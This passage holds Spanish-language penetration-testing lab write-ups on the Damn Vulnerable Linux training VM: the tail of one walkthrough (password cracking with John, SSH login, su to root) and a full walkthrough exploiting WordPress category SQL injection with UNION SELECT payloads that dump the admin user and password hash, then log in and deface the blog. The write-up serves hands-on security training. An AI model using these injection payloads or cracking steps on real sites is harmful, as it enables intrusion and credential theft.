root@bt:/pentest/passwords/john# ./john --rules --wordlist=list.lst shadow
El resultado se lo dejo a su imaginación, para no estropear el reto, regalando la clave.
Resultado final:
root@bt:/pentest/passwords/john# ssh aadams@192.168.1.100
aadams@192.168.1.100's password:
Linux 2.6.16.
aadams@slax:~$ su
Password: *****
root@slax:/home/aadams# whoami
root
root@slax:/home/aadams#
Hasta la próxima.

Dedicación: OverSec.org, RemoteExecution.info, http://malware-reversing.com.ar, CPH

Saludos

Explotando Wordpress en Damn Vulnerable Linux 1.5






 Requisitos mínimos:
  • Máquina virtual
  • 512Mb RAM disponibles
  • Damn Vulnerable Linux 1.5, Infección contagiosa (Vaya tela de título)

Conocimientos previos:
  • PHP & SQL
  • Injecciones y funcionamiento de tal
Buscando vulnerabilidad

Buscando entre dicho blog, confirmé que había una vulnerabilidad SQLi en las categorías.
Esta, como en la mayoría de los casos, es explotable vía Get, cosa que en algunos caso no es así.
 
Comienza el juego

Lo que hice, fué asignar un número falso, para rechazar la consulta inicial, y poder ejecutar las consultas SQL.
?cat = 999999
Me respondía "Not Fond". Esto no significa que deje de ser vulnerable.
A continuación procedí a identificar el número de columas de dicha tabla, para buscar la columna vulnerable en la que me basé.
?cat = 999999 UNION SELECT 1,2
?cat = 999999 UNION SELECT 1,2,3
?cat = 999999 UNION SELECT 1,2,3,4
?cat = 999999 UNION SELECT 1,2,3,4,5
Al llegar a la quinta columna, supe que la segunda era vulnerable. ¿Cómo? Traduciendo del inglés, sabemos cuando NO hemos llegado.
The used SELECT statements have a different number of columns
En pantalla se podía apreciar el siguiente texto:
Archive for the '2' category
Sustituimos el número 2 por el número 99 y vemos:
Archive for the '99' category
No hay duda.

Removiendo la tierra

Para ver el usuario y host de la base de datos, simplemente hice la petición USER().
Esto me devolvió:
root@localhost
La injección quedaba así:
?cat = 999999 UNION SELECT 1,USER(),3,4,5
XD! Tener una base de datos como ROOT es estar loco. Teniendo en cuenta la seguridad que ahí se manifestaba me dije: Ni me hará falta buscar la base de datos y columnas, ya que estoy seguro que tendrá los mismo datos.
Para buscar el nombre de la base de datos, simplemente induje un error.

?cat = 999999 UNION SELECT 1,jejeje,2,3,4 from Hola
Table wordpress.Hola doesn't exist.
Cada vez estaba más seguro. Procedí así con la injección.

Contact Administrator

Por si alguien desconoce estos datos, procedí con la base de datos wordpress, los cuales por defecto son:
Tabla: wp_users
Columnas: user_login, user_pass
Continué con la injección:
?cat = 999999 UNION SELECT 1,COUNT(*),3,4,5 from wp_users
Aclaración: COUNT(*) se utiliza para enumerar las columnas.
Archive for the '1' category
Sólo tenía un registro. Procedí con la injección final:
?cat = 999999 UNION SELECT 1,user_login,3,4,5 from wp_users
?cat = 999999 UNION SELECT 1,user_pass,3,4,5 from wp_users
Primer resultado:
Archive for the 'Admin' category
Segundo resultado:
Archive for the '7b24afc8bc80e548d66c4e7ff72171c5' category
Click derecho, Buscar en Google, y concluí que la clave era toor. 

Dejando huella
Accedí a la página principal del blog, y más abajo vi el login de usuarios.
Me logeé con el usuario y clave del administrador, y procedí a crear un "Yo Estube Aquí", que, al ser un entorno controlado y totalmente simulado, realicé.
?di=11132870473310
Fín del juego.

Un saludo.